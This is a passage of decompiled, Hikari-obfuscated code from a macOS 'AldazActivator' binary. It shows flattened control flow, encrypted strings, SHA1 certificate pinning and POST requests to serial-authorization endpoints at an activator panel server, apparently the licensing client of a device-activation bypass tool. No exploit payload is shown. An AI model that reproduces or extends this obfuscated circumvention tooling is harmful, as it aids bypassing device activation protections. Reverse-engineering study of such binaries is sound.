v2 = 0;
v3 = 1934417689;
v4 = 103477452;
goto LABEL_138;
case -1202520462:
v5 = 1;
v3 = -1202520462;
v6 = -1792750350;
LABEL_134:
if ( v5 )
v3 = v6;
goto LABEL_140;
case -1182751889:
v2 = 1;
v3 = -1208860049;
v4 = 1934417689;
goto LABEL_138;
}
}
else if ( v43 > -922140208 )
{
if ( v43 == -922140207 )
{
dword_10029F1F4 = 1;
objc_retain(v50);
v17 = +[NSMutableData dataWithData:](&OBJC_CLASS___NSMutableData, "dataWithData:", v40);
v18 = objc_retainAutoreleasedReturnValue(v17);
v19 = -[NSMutableData length](v18, "length");
v20 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xCB\x6E\xD5\x0B"),
v19);
objc_retainAutoreleasedReturnValue(v20);
HikariFunctionWrapper_320_0((objc_class *)&OBJC_CLASS___NSMutableURLRequest);
*v57 = -476391741;
}
else if ( v43 == -834746141 )
{
v12 = objc_msgSend(v49, "localizedDescription");
v36 = objc_retainAutoreleasedReturnValue(v12);
*v57 = 564770880;
}
}
else
{
if ( v43 == -1128658819 )
goto LABEL_100;
if ( v43 == -1013703034 )
{
v2 = 0;
v42 = dword_10029F1F4;
v3 = -1419124892;
v4 = 1130373131;
goto LABEL_138;
}
}
}
if ( v43 <= 1307581503 )
break;
if ( v43 > 1828916104 )
{
if ( v43 <= 1934417688 )
{
switch ( v43 )
{
case 1828916105:
*v57 = 1797132226;
break;
case 1852745600:
v44 = v39;
goto LABEL_130;
case 1900868283:
*v57 = -1459172725;
break;
}
}
else if ( v43 > 2145718473 )
{
if ( v43 == 2145718474 )
{
*v57 = 1794032873;
}
else if ( v43 == 2147088314 )
{
*v57 = 228331802;
}
}
else if ( v43 == 1934417689 )
{
asc_100260298[4] = (v56 | 0xA9) & (~v56 | 0x56);
strcpy(asc_100260260, "AldazActivator/2.0 (Platform; OS) MobileDevice/5.0");
*v57 = -1208860049;
}
else if ( v43 == 1941590628 )
{
objc_msgSend(v48, v38);
*v57 = -2006515763;
}
}
else if ( v43 <= 1671794987 )
{
switch ( v43 )
{
case 1307581504:
v2 = 1;
v3 = -2022779590;
v4 = -1689523976;
goto LABEL_138;
case 1319451106:
v53 = HikariFunctionWrapper_316_0(v32, v33);
v21 = v50;
v22 = +[NSURL URLWithString:](&OBJC_CLASS___NSURL, "URLWithString:", v50);
v23 = objc_retainAutoreleasedReturnValue(v22);
objc_release(v21);
objc_msgSend(v53, "setURL:", v23);
objc_release(v23);
objc_msgSend(v53, "setHTTPMethod:", CFSTR("\xF7\x65\x3D\xED\xF9"));
objc_msgSend(
v53,
"setValue:forHTTPHeaderField:",
v46,
CFSTR("\xE4\x48\xD5-\x13\xB0\xE9\xD1\x25\xE8\x50\x52\xA8\xB3"));
objc_msgSend(
v53,
"setValue:forHTTPHeaderField:",
CFSTR("\x8CᎴ\r\xF1\x81\x43\x5B\x8C8%F\x81\x8A|\x02"),
CFSTR("W\xEF\x48\x83\xE5\xEA\xD0\x94\u038D\xC9\xFB\xA7"));
objc_msgSend(
v53,
"setValue:forHTTPHeaderField:",
CFSTR("\xDB\xC8.S\xD1\x3Di8\xF7\xC8\xD6\x19\xDD\x0B\x8FP\xE0\xA2\x2BR\xCE\x76\x1B\x8EF_Ф\x9B\xF8MN\x11\x01\xA3\xA5.\x93\xCF\x67\x9E\x95\x84\t\xA1\xADJ#U\xFE)"),
CFSTR("\\\x18\n\xDD\x47\x93\bs\"\xB1l"));
objc_msgSend(v53, "setHTTPBody:", v45);
v2 = 1;
v34 = &OBJC_CLASS___NSURLConnection;
*v51 = 0;
*v52 = 0;
v35 = "sendSynchronousRequest:returningResponse:error:";
v3 = -432537446;
v4 = 1319451106;
goto LABEL_138;
case 1360023504:
*v57 = 1852745600;
v39 = v31;
break;
}
}
else if ( v43 > 1794032872 )
{
if ( v43 == 1794032873 )
{
v2 = 1;
v3 = 1067799967;
v4 = 1736504378;
goto LABEL_138;
}
if ( v43 == 1797132226 )
{
v54 = v42 == 0;
v5 = 1;
v3 = 1828916105;
v6 = 2147088314;
goto LABEL_134;
}
}
else
{
if ( v43 == 1671794988 )
{
v2 = 0;
v3 = -922140207;
v4 = -476391741;
goto LABEL_138;
}
if ( v43 == 1736504378 )
{
asc_100260298[1] = 79;
asc_100260298[2] = 83;
asc_100260298[3] = 84;
*v57 = 1067799967;
}
}
}
if ( v43 <= 598087392 )
break;
if ( v43 <= 914401492 )
{
switch ( v43 )
{
case 598087393:
*v57 = -1377468629;
break;
case 776150974:
asc_100260329[0] = 37;
asc_100260329[1] = 108;
asc_100260329[2] = 117;
asc_100260329[3] = 0;
strcpy(asc_100260316, "Content-Length");
strcpy(asc_1002602FC, "User-Agent");
strcpy(asc_100260200, "Error in POST request: %@");
strcpy(asc_1002602E0, "application/json");
strcpy(aW, "Content-Type");
v2 = 1;
asc_100260298[0] = 80;
v3 = 2145718474;
v4 = 883859305;
goto LABEL_138;
case 883859305:
asc_100260329[0] = 37;
asc_100260329[1] = 108;
asc_100260329[2] = 117;
asc_100260329[3] = 0;
strcpy(asc_100260316, "Content-Length");
strcpy(asc_1002602FC, "User-Agent");
strcpy(asc_100260200, "Error in POST request: %@");
strcpy(asc_1002602E0, "application/json");
strcpy(aW, "Content-Type");
asc_100260298[0] = 80;
*v57 = 776150974;
break;
}
}
else if ( v43 > 1098674218 )
{
if ( v43 == 1098674219 )
{
v5 = 1;
v3 = 1098674219;
v6 = -1868555847;
goto LABEL_134;
}
if ( v43 == 1130373131 )
*v57 = -345309986;
}
else if ( v43 == 914401493 )
{
v13 = objc_msgSend(v32, v33);
v14 = v50;
v15 = (void *)HikariFunctionWrapper_322((__int64)&OBJC_CLASS___NSURL);
v16 = objc_retainAutoreleasedReturnValue(v15);
objc_release(v14);
objc_msgSend(v13, "setURL:", v16);
objc_release(v16);
objc_msgSend(v13, "setHTTPMethod:", CFSTR("\xF7\x65\x3D\xED\xF9"));
objc_msgSend(
v13,
"setValue:forHTTPHeaderField:",
v46,
CFSTR("\xE4\x48\xD5-\x13\xB0\xE9\xD1\x25\xE8\x50\x52\xA8\xB3"));
HikariFunctionWrapper_324(v13, "setValue:forHTTPHeaderField:");
HikariFunctionWrapper_326(v13, "setValue:forHTTPHeaderField:");
objc_msgSend(v13, "setHTTPBody:", v45);
*v51 = 0;
*v52 = 0;
*v57 = 1319451106;
}
else if ( v43 == 1067799967 )
{
v2 = 0;
asc_100260298[1] = 79;
asc_100260298[2] = 83;
asc_100260298[3] = 84;
v56 = -87;
v3 = 1067799967;
v4 = -70648245;
goto LABEL_138;
}
}
if ( v43 <= 228331801 )
break;
switch ( v43 )
{
case 228331802:
LABEL_100:
*v57 = -1202520462;
break;
case 564770880:
v5 = 1;
v3 = -1687416556;
v6 = 1098674219;
goto LABEL_134;
case 568143348:
v9 = objc_msgSend(v34, v35, v53, v51, v52);
objc_retainAutoreleasedReturnValue(v9);
objc_retain(*v51);
objc_retain(*v52);
LABEL_53:
*v57 = -10103160;
break;
}
}
if ( v43 > 45252874 )
break;
if ( v43 == -50602141 )
{
objc_release(v47);
objc_release(v48);
objc_release(v49);
objc_release(v53);
objc_release(v46);
objc_release(v45);
objc_autoreleaseReturnValue(v44);
v10 = 0;
v3 = -491328830;
v11 = 45252875;
goto LABEL_120;
}
if ( v43 == -10103160 )
{
v7 = objc_msgSend(v34, v35, v53, v51, v52);
v47 = objc_retainAutoreleasedReturnValue(v7);
v48 = *v51;
objc_retain(v48);
v49 = *v52;
objc_retain(v49);
v55 = v49 == 0;
v2 = 0;
v3 = -10103160;
v4 = -1721826122;
goto LABEL_138;
}
}
if ( v43 != 103477452 )
break;
*v57 = 1671794988;
}
}
while ( v43 != 45252875 );
return v44;
}
// 100260350: using guessed type __CFString stru_100260350;
// 100260390: using guessed type __CFString stru_100260390;
// 1002603D0: using guessed type __CFString stru_1002603D0;
// 100260450: using guessed type __CFString stru_100260450;
// 100260490: using guessed type __CFString cfstr_W;
// 1002604D0: using guessed type __CFString stru_1002604D0;
// 100260510: using guessed type __CFString stru_100260510;
// 10029F1F4: using guessed type int dword_10029F1F4;
//----- (00000001000082ED) ----------------------------------------------------
__int64 __fastcall validateCertificate(SecTrustRef trust)
{
__int64 v1; // rsi
__int64 v2; // rdx
__int64 v3; // rcx
const char *v4; // rbx
CFIndex v5; // rdx
const char *v6; // r13
SecCertificateRef CertificateAtIndex; // rax
void *v8; // rbx
id v9; // r12
CC_LONG v10; // eax
unsigned __int8 *v11; // rax
unsigned __int8 *v12; // r15
void *v13; // rax
unsigned __int64 i; // r14
id v15; // rax
__int64 v16; // rsi
unsigned __int8 v17; // al
id (**v18)(id, SEL, ...); // r8
void *v19; // r12
id v20; // r13
id v21; // r12
__int64 v23; // [rsp+0h] [rbp-A0h] BYREF
__int64 v24; // [rsp+8h] [rbp-98h]
const char *v25; // [rsp+10h] [rbp-90h]
const char *v26; // [rsp+18h] [rbp-88h]
SEL v27; // [rsp+20h] [rbp-80h]
SEL v28; // [rsp+28h] [rbp-78h]
SEL v29; // [rsp+30h] [rbp-70h]
const char *v30; // [rsp+38h] [rbp-68h]
SecTrustRef trusta; // [rsp+40h] [rbp-60h]
unsigned __int8 *md; // [rsp+48h] [rbp-58h]
CFIndex ix; // [rsp+50h] [rbp-50h]
CFTypeRef v34; // [rsp+58h] [rbp-48h]
id v35; // [rsp+60h] [rbp-40h]
id v36; // [rsp+68h] [rbp-38h]
__int64 v37; // [rsp+70h] [rbp-30h]
v37 = -1;
v1 = 1075838976;
v2 = 2015517008;
v3 = 1478338352;
if ( !dword_10029F1F8 )
{
strcpy(asc_1002605F0, "D22240D5B0A43E7B64F6338CCAFF52B839BC20E5");
asc_1002605B5[0] = 37;
asc_1002605B5[1] = 48;
asc_1002605B5[2] = 50;
asc_1002605B5[3] = 120;
asc_1002605B5[4] = 0;
strcpy(asc_100260590, "SSL certificate is not trusted.");
v1 = 1707218366;
v3 = 4294967040LL;
strcpy(aJ, "Terminating application.");
v2 = 4294967044LL;
}
dword_10029F1F8 = 1;
v24 = HikariFunctionWrapper_330(trust, v1, v2, v3);
if ( v24 <= 0 )
{
LABEL_17:
NSLog(CFSTR("\x10\x00%\xC0\xC0A\xA9|\xB2\xE3\xED\xC4\x0EH\x1E}\x1DYW\xA0\xD6\xF0\xF9\x17\x8F9\x05<u\xCF\xD0\xFF"));
NSLog(CFSTR("j\xB4\x1D\x97E/,\x90\xB4@\x05\x94>\x96\xDA\x30*(@\x8E\xA7;\x9C\xAA"), 1876426752, 1970328450);
exit(1);
}
v4 = "bytes";
v26 = "stringWithCapacity:";
v30 = "appendFormat:";
v27 = "uppercaseString";
v28 = "isEqualToString:";
v5 = 0;
trusta = trust;
v25 = "bytes";
v29 = "length";
md = (unsigned __int8 *)(&v23 - 4);
while ( 1 )
{
ix = v5;
v6 = v4;
CertificateAtIndex = SecTrustGetCertificateAtIndex(trusta, v5);
v8 = (void *)HikariFunctionWrapper_332(CertificateAtIndex);
objc_retain(v8);
objc_retainAutorelease(v8);
v9 = objc_msgSend(v8, v6);
v10 = (unsigned int)objc_msgSend(v8, v29);
v11 = CC_SHA1(v9, v10, md);
v34 = v8;
v12 = md;
if ( v11 )
break;
LABEL_10:
v19 = (void *)v34;
if ( v34 )
CFRelease(v34);
objc_release(v19);
v5 = ix + 1;
v4 = v25;
if ( ix + 1 == v24 )
goto LABEL_17;
}
v13 = (void *)HikariFunctionWrapper_334(&OBJC_CLASS___NSMutableString, v26, 40);
v36 = objc_retainAutoreleasedReturnValue(v13);
for ( i = 0; i != 20; i = (unsigned __int64)v35 + (i | 1) )
{
v35 = (id)(i & 1);
HikariFunctionWrapper_336(v36, v30, CFSTR("\x86\\X\xF8;"), v12[i]);
}
v15 = objc_msgSend(v36, v27);
v35 = objc_retainAutoreleasedReturnValue(v15);
v16 = (__int64)v28;
v17 = (unsigned __int8)objc_msgSend(
v35,
v28,
CFSTR(",]\x11\xBC6G\xA5.\xDF\xDE\xFC\xC1\xAB]Թ\xB1?E\x8E\xBD%\xBE\xE4\x1C\x09\xC0\xAA\x9A\x00\x87\xE2\xE3\xA7\xEB\x89\x07\xF2\xD5\x75\x8F"));
v18 = &objc_msgSend;
if ( !v17 )
{
objc_release(v35);
objc_release(v36);
goto LABEL_10;
}
v20 = v35;
if ( v34 )
{
v16 = 992168448;
CFRelease(v34);
}
v21 = v36;
((void (__fastcall *)(id, __int64, __int64, __int64, id (**)(id, SEL, ...)))objc_release)(
v20,
v16,
1879056656,
976001152,
v18);
((void (__fastcall *)(id))objc_release)(v21);
objc_release((id)v34);
return 1;
}
// 100009404: conditional instruction was optimized away because r14d.4==CE220264
// 100009B1A: conditional instruction was optimized away because r14d.4==39BEAF40
// 100009B0A: variable 'v18' is possibly undefined
// 100009EB0: using guessed type __int64 __fastcall HikariFunctionWrapper_330(_QWORD, _QWORD, _QWORD, _QWORD);
// 100009ED0: using guessed type __int64 __fastcall HikariFunctionWrapper_332(_QWORD);
// 100009EF0: using guessed type __int64 __fastcall HikariFunctionWrapper_334(_QWORD, _QWORD, _QWORD);
// 100009F10: using guessed type __int64 __fastcall HikariFunctionWrapper_336(_QWORD, _QWORD, _QWORD, _QWORD);
// 100009F30: using guessed type __int64 __fastcall HikariFunctionWrapper_338(_QWORD, _QWORD, _QWORD);
// 100009F50: using guessed type __int64 __fastcall HikariFunctionWrapper_340(_QWORD, _QWORD, _QWORD, _QWORD);
// 1002606C0: using guessed type __CFString stru_1002606C0;
// 100260700: using guessed type __CFString stru_100260700;
// 10029F1F8: using guessed type int dword_10029F1F8;
//----- (0000000100009DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100009DD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_316_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_0(a1, a2);
}
//----- (0000000100009DE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_317_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100009DF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_318_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_317_0(a1, a2);
}
//----- (0000000100009E00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_319_0(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100009E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_320_0(objc_class *a1)
{
return HikariFunctionWrapper_319_0(a1);
}
//----- (0000000100009E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_321_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100009E30) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_322(__int64 a1)
{
return HikariFunctionWrapper_321_0(a1);
}
// 100009E20: using guessed type __int64 __fastcall HikariFunctionWrapper_321_0(_QWORD);
//----- (0000000100009E40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_323(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100009E50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_324(void *a1, const char *a2)
{
HikariFunctionWrapper_323(a1, a2);
}
//----- (0000000100009E60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_325(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100009E70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_326(void *a1, const char *a2)
{
HikariFunctionWrapper_325(a1, a2);
}
//----- (0000000100009E80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_327(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100009E90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_328(objc_class *a1)
{
return HikariFunctionWrapper_327(a1);
}
//----- (0000000100009EA0) ----------------------------------------------------
CFIndex __fastcall HikariFunctionWrapper_329(__SecTrust *a1)
{
return SecTrustGetCertificateCount(a1);
}
//----- (0000000100009EB0) ----------------------------------------------------
CFIndex __fastcall HikariFunctionWrapper_330(__SecTrust *a1)
{
return HikariFunctionWrapper_329(a1);
}
//----- (0000000100009EC0) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_331(__SecCertificate *a1)
{
return SecCertificateCopyData(a1);
}
//----- (0000000100009ED0) ----------------------------------------------------
CFDataRef __fastcall HikariFunctionWrapper_332(__SecCertificate *a1)
{
return HikariFunctionWrapper_331(a1);
}
//----- (0000000100009EE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_333(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100009EF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_334(void *a1, const char *a2)
{
return HikariFunctionWrapper_333(a1, a2);
}
//----- (0000000100009F00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_335(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100009F10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_336(void *a1, const char *a2)
{
HikariFunctionWrapper_335(a1, a2);
}
//----- (0000000100009F20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_337(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100009F30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_338(void *a1, const char *a2)
{
return HikariFunctionWrapper_337(a1, a2);
}
//----- (0000000100009F40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_339(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100009F50) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_340(void *a1, const char *a2)
{
HikariFunctionWrapper_339(a1, a2);
}
//----- (0000000100009F60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_341(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100009F70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_342(NSString *a1)
{
HikariFunctionWrapper_341(a1);
}
//----- (0000000100009F80) ----------------------------------------------------
__int64 APIInit_A12()
{
__int64 result; // rax
int v1; // eax
id v2; // rdi
void *v3; // rax
id v4; // rax
id v5; // rdi
id v6; // rax
id v7; // rax
id v8; // rdi
id v9; // rax
id v10; // rax
id v11; // rdi
void *v12; // rax
id v13; // rax
id v14; // rdi
bool v15; // zf
int v16; // ecx
void *v17; // rax
char v18; // cf
int v19; // ecx
id v20; // rdi
id v21; // rax
id v22; // rax
id v23; // rdi
void *v24; // rax
id v25; // rax
id v26; // rdi
id v27; // rax
id v28; // rax
id v29; // rdi
id v30; // rax
id v31; // rax
id v32; // rdi
id v33; // rax
id v34; // [rsp+8h] [rbp-58h]
id v35; // [rsp+10h] [rbp-50h]
int v36; // [rsp+18h] [rbp-48h]
int v37; // [rsp+1Ch] [rbp-44h] BYREF
SEL v38; // [rsp+20h] [rbp-40h]
bool v39; // [rsp+2Dh] [rbp-33h]
char v40; // [rsp+2Eh] [rbp-32h]
char v41; // [rsp+2Fh] [rbp-31h]
int *v42; // [rsp+30h] [rbp-30h]
v36 = dword_10029F200;
v37 = -2064012604;
v42 = &v37;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v37;
if ( v37 <= -556098416 )
break;
if ( v37 > 664945551 )
{
if ( v37 <= 1325203394 )
{
switch ( v37 )
{
case 664945552:
v18 = 1;
v1 = -1009658054;
v19 = -1100441918;
LABEL_67:
if ( v18 )
v1 = v19;
LABEL_69:
*v42 = v1;
break;
case 899209471:
v39 = v36 == 0;
v1 = -1799001842;
goto LABEL_69;
case 976109001:
v17 = (void *)HikariFunctionWrapper_2006(
v34,
"stringWithFormat:",
CFSTR("\x00\xC5\xD3E'3x\xF9\xA3\xD9\xF9\xDE\x1E9\x01\xCA\x42M\x91\x9D\xB5r\x11Z\xFFV\xA6֠;/\xFC"),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
objc_retainAutoreleasedReturnValue(v17);
*v42 = -44270247;
break;
}
}
else if ( v37 > 1535576870 )
{
if ( v37 == 1535576871 )
{
asc_100260BF0[18] = v41;
asc_100260BF0[19] = 122;
asc_100260BF0[20] = 45;
asc_100260BF0[21] = 97;
asc_100260BF0[22] = 99;
asc_100260BF0[23] = 116;
asc_100260BF0[24] = 105;
asc_100260BF0[25] = 118;
asc_100260BF0[26] = 97;
asc_100260BF0[27] = 116;
asc_100260BF0[28] = 111;
asc_100260BF0[29] = 114;
asc_100260BF0[30] = 46;
asc_100260BF0[31] = 99;
asc_100260BF0[32] = 111;
asc_100260BF0[33] = 109;
asc_100260BF0[34] = 47;
asc_100260BF0[35] = 97;
asc_100260BF0[36] = 112;
asc_100260BF0[37] = 105;
asc_100260BF0[38] = 0;
strcpy(asc_100260B20, "%@/serial/isComplated");
strcpy(aE, "%@/serial/authorize");
*v42 = -1004349894;
}
else if ( v37 == 2023158880 )
{
*v42 = -556098415;
}
}
else if ( v37 == 1325203395 )
{
asc_100260B60[27] = v40;
qmemcpy(asc_100260BF0, "https://panel.iald", 18);
v41 = 97;
*v42 = 314852316;
}
else if ( v37 == 1450815856 )
{
*v42 = 1325203395;
}
}
else if ( v37 <= -44270248 )
{
switch ( v37 )
{
case -556098415:
v18 = 1;
v1 = 102283703;
v19 = -1268513553;
goto LABEL_67;
case -448093812:
*v42 = 899209471;
break;
case -319758287:
v1 = -1946734117;
goto LABEL_69;
}
}
else if ( v37 > 102283702 )
{
if ( v37 == 102283703 )
{
dword_10029F200 = 1;
*v42 = -1268513553;
}
else if ( v37 == 314852316 )
{
v18 = 0;
v1 = -1004349894;
v19 = 1535576871;
goto LABEL_67;
}
}
else if ( v37 == -44270247 )
{
v38 = "stringWithFormat:";
v33 = objc_msgSend(
v34,
"stringWithFormat:",
CFSTR("\x00\xC5\xD3E'3x\xF9\xA3\xD9\xF9\xDE\x1E9\x01\xCA\x42M\x91\x9D\xB5r\x11Z\xFFV\xA6֠;/\xFC"),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v35 = objc_retainAutoreleasedReturnValue(v33);
*v42 = -1385083628;
}
else if ( v37 == 80902522 )
{
v2 = CheckVersionURL;
CheckVersionURL = v35;
objc_release(v2);
v3 = (void *)HikariFunctionWrapper_2002(
&OBJC_CLASS___NSString,
v38,
CFSTR("%E|\xB6\xD7\x59\x8E\xF4\xDC\x4D\x9D\xB7)\v\xA3\xF6\x5E\x83\xE4>"),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v4 = objc_retainAutoreleasedReturnValue(v3);
v5 = AuthURL;
AuthURL = v4;
objc_release(v5);
v6 = objc_msgSend(
&OBJC_CLASS___NSString,
v38,
CFSTR("\x9D-\xD2\x7F8\xC4\x1D\xB3\xED\xF4\xE7\xB4\xE4\x6C\x14!f\x02\xF0\x0C\xE5\x84"),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v7 = objc_retainAutoreleasedReturnValue(v6);
v8 = IsCompletedURL;
IsCompletedURL = v7;
objc_release(v8);
v9 = objc_msgSend(
&OBJC_CLASS___NSString,
v38,
CFSTR("\xBBvS\xFA\xFB\x96\xBB\a\xA3\x0E\x1En\xB8D\tsG\x92"),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v10 = objc_retainAutoreleasedReturnValue(v9);
v11 = IsErrorURL;
IsErrorURL = v10;
objc_release(v11);
v12 = (void *)HikariFunctionWrapper_2004(
&OBJC_CLASS___NSString,
v38,
CFSTR("\x85\x02\x81\xD0\xDC\xA9=\xF4\xA2\x96\x9F\x05\a\xB1\x88+\x19\xCA\x56\xD4\xCCS\xA6\x06k\xCC\xF0("),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = SendAttemptURL;
SendAttemptURL = v13;
objc_release(v14);
v15 = 0;
v1 = -1699941752;
v16 = -1442206978;
goto LABEL_62;
}
}
if ( v37 <= -1377793241 )
break;
if ( v37 <= -1100441919 )
{
switch ( v37 )
{
case -1377793240:
v15 = 0;
v1 = 976109001;
v16 = -44270247;
goto LABEL_62;
case -1358842216:
v15 = 0;
v1 = -1009658054;
v16 = 664945552;
LABEL_62:
if ( !v15 )
v1 = v16;
goto LABEL_69;
case -1268513553:
dword_10029F200 = 1;
v34 = &OBJC_CLASS___NSString;
v1 = -1788725862;
goto LABEL_69;
}
}
else if ( v37 > -1004349895 )
{
if ( v37 == -1004349894 )
{
asc_100260BF0[18] = v41;
asc_100260BF0[19] = 122;
asc_100260BF0[20] = 45;
asc_100260BF0[21] = 97;
asc_100260BF0[22] = 99;
asc_100260BF0[23] = 116;
asc_100260BF0[24] = 105;
asc_100260BF0[25] = 118;
asc_100260BF0[26] = 97;
asc_100260BF0[27] = 116;
asc_100260BF0[28] = 111;
asc_100260BF0[29] = 114;
asc_100260BF0[30] = 46;
asc_100260BF0[31] = 99;
asc_100260BF0[32] = 111;
asc_100260BF0[33] = 109;
asc_100260BF0[34] = 47;
asc_100260BF0[35] = 97;
asc_100260BF0[36] = 112;
asc_100260BF0[37] = 105;
asc_100260BF0[38] = 0;
strcpy(asc_100260B20, "%@/serial/isComplated");
strcpy(aE, "%@/serial/authorize");
v18 = 1;
v1 = 1535576871;
v19 = 2023158880;
goto LABEL_67;
}
if ( v37 == -784800315 )
{
v15 = 0;
v1 = -1699941752;
v16 = 80902522;
goto LABEL_62;
}
}
else
{
if ( v37 == -1100441918 )
{
v15 = !v39;
v1 = -556098415;
v16 = -319758287;
goto LABEL_62;
}
if ( v37 == -1009658054 )
*v42 = 664945552;
}
}
if ( v37 > -1699941753 )
break;
if ( v37 > -1799001843 )
{
if ( v37 == -1799001842 )
{
*v42 = -1358842216;
}
else if ( v37 == -1788725862 )
{
*v42 = -1377793240;
}
}
else
{
if ( v37 == -2064012604 )
{
v1 = 899209471;
goto LABEL_69;
}
if ( v37 == -1946734117 )
{
strcpy(asc_100260C40, "%@/tool/macos_activator_version");
strcpy(asc_100260AE0, "%@/serial/isError");
qmemcpy(asc_100260B60, "%@/serial/requestActivation", 27);
v40 = 0;
v1 = 1450815856;
goto LABEL_69;
}
}
}
if ( v37 > -1442206979 )
break;
if ( v37 == -1699941752 )
{
v20 = CheckVersionURL;
CheckVersionURL = v35;
objc_release(v20);
v21 = objc_msgSend(
&OBJC_CLASS___NSString,
v38,
CFSTR("%E|\xB6\xD7\x59\x8E\xF4\xDC\x4D\x9D\xB7)\v\xA3\xF6\x5E\x83\xE4>"),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v22 = objc_retainAutoreleasedReturnValue(v21);
v23 = AuthURL;
AuthURL = v22;
objc_release(v23);
v24 = (void *)HikariFunctionWrapper_2008(
&OBJC_CLASS___NSString,
v38,
CFSTR("\x9D-\xD2\x7F8\xC4\x1D\xB3\xED\xF4\xE7\xB4\xE4\x6C\x14!f\x02\xF0\x0C\xE5\x84"),
CFSTR("\x12\xBB\x13i\x11m\x83\xF2\x5D\xE5\xE8B\xAF\xD4\xEF\xC6\x54\x9C\xF4\x86\xFF\x39\xAC(\v\x13`\xE3\x5E\xEE\x9B\xB5l\x18\xFB\x88\xED\x8A\xCA"));
v25 = objc_retainAutoreleasedReturnValue(v24);
v26 = IsCompletedURL;
IsCompletedURL = v25;
objc_release(v26);
v27 = objc_msgSend(
&OBJC_CLASS___NSString,
v38,
CFSTR("\xBBvS\xFA\xFB\x96\xBB\a\xA3\x0E\x1En\xB8D\tsG\x92"),
